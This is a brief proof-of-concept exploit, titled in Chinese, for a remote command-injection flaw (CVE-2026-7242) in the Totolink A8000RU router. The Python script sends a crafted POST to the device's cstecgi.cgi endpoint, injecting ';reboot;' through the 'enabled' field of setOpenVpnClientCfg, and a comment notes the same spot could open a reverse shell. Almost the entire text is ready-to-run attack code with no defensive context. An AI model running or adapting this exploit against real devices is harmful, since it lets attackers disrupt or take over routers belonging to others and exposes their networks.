CVE-2026-7242 Totolink A8000RU远程命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload injects a command to reboot the device or create a reverse shell # Using common separator ';' data = { "function": "setOpenVpnClientCfg", "enabled": ";reboot;" } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])